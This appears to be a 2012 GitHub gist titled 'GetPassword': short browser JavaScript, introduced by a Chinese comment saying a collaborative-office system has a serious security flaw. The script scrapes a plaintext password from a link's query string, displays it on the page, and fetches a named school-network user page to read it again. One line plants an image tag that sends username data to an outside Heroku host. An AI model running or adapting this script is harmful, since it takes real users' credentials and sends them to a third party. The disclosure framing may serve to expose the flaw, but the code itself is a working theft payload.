Created
July 20, 2012 07:13
-
-
Save tianshuo/3149208 to your computer and use it in GitHub Desktop.
GetPassword
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 协同办公有严重安全隐患 | |
document.body.appendChild(document.createElement('script')).src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"; | |
document.getElementsByTagName("a")[3].outerHTML.match(/password=(.*)&/); | |
document.write("<h1 id='ps123' style='color:red;display:inline;'>你的密码是:"+RegExp.$1+"</h1>"); | |
document.write("<img src='http://frozen-tor-6666.herokuapp.com/XIETONG:"+document.getElementsByTagName("a")[3].outerHTML.match(/username(.*)url/)+"' />"); | |
$(function(){ | |
var showpass=function(doc){ | |
window.password=doc.match(/password=.*?&/).toString().slice(9,-1); | |
$("#ps123").text($("#UserHead1_Label1").text()+",你的密码是:"+password); | |
}; | |
$.ajax({url:"http://gsxt.edunbc.com/mini/UserSpace.aspx", | |
success:showpass | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment